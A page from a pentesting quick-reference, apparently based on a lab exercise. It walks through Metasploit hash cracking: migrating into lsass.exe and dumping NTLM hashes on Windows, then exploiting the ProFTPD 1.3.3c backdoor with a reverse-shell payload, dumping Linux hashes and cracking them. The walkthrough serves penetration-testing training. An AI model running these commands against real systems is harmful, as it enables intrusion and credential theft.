> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/password-hash-cracking.md).

# Password Hash cracking

We have successfully exploited a badblue server. Migrate the current process into lsass.exe

```
migrate -N lsass.exe
```

<figure><img src="https://assets.ine.com/lab/learningpath/924c0ed4694862d36b0b0080a276272c9de3a371d7bd85f603f420d1330d6eaf.png" alt=""><figcaption></figcaption></figure>

Dump NTLM hashes

```
hashdump
```

<figure><img src="https://assets.ine.com/lab/learningpath/894817876357d3c82effbdadb54ef3dd10c2f64f6ed0381b8791931a80b57e47.png" alt=""><figcaption></figcaption></figure>

**Step 8:** Verify that the hashes are stored in the MSF database or not.

**Command:**

```
background
creds
```

<figure><img src="https://assets.ine.com/lab/learningpath/9394f9d3e46ffcf68b363a378d54b4b1d341b29ffb29805dfbe20c9d1f49f211.png" alt=""><figcaption></figcaption></figure>

**Step 9:** Use an auxiliary ntlm hash cracking module to crack stored NTLM hashes.

**Commands:**

```
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/a4dde6899ecfdcd755a8f529e3eb378963218f5532038db95ba9d346fbca3900.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://assets.ine.com/lab/learningpath/bbe06d568e907901c2a9f268123394600fbf716607aa0cc837daf176463a34ab.png" alt=""><figcaption></figcaption></figure>

### Linux Hash cracking

We will start the postgresql database server on the attacker machine. We are starting postgresql to store all metasploit loot and other sensitive information from the target machine.

```
/etc/init.d/postgresql start
```

<figure><img src="https://assets.ine.com/lab/learningpath/e171122e6bd0afba77d8c6f3e30c24a352f2630ad81251c9024cbc261b8cd9dc.jpg" alt=""><figcaption></figcaption></figure>

We have started postgresql database server. Start metasploit framework and exploit proftpd server using exploit/unix/ftp/proftpd\_133c\_backdoor module.

Make sure to replace LHOST with the IP address of the attacker machine.

```
msfconsole -q
use exploit/unix/ftp/proftpd_133c_backdoor
set payload payload/cmd/unix/reverse
set RHOSTS demo.ine.local
set LHOST 192.70.114.2
exploit -z
```

<figure><img src="https://assets.ine.com/lab/learningpath/745ad12973f754da8faf7651ceb9ef6efe9a2de11bda5823853071ed4f9a86ba.jpg" alt=""><figcaption></figcaption></figure>

We have exploited the target ftp server. We will use a post exploitation module to dump the system users hashes.

```
use post/linux/gather/hashdump
set SESSION 1
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/f7abf6bd169b8bdda37b46c45c5d04f20f330abc1b3607b752b039872432cdf7.jpg" alt=""><figcaption></figcaption></figure>

Run the provided auxiliary module to find the plain text password of the root user.

```
use auxiliary/analyze/crack_linux
set SHA512 true
run
```

<figure><img src="https://assets.ine.com/lab/learningpath/3d61da62280f5d9ffebd72d7d3637bda832450158fb0262dde9b1d06e9517c54.jpg" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.cavementech.com/pentesting-quick-reference/metasploit-and-meterpreter/password-hash-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
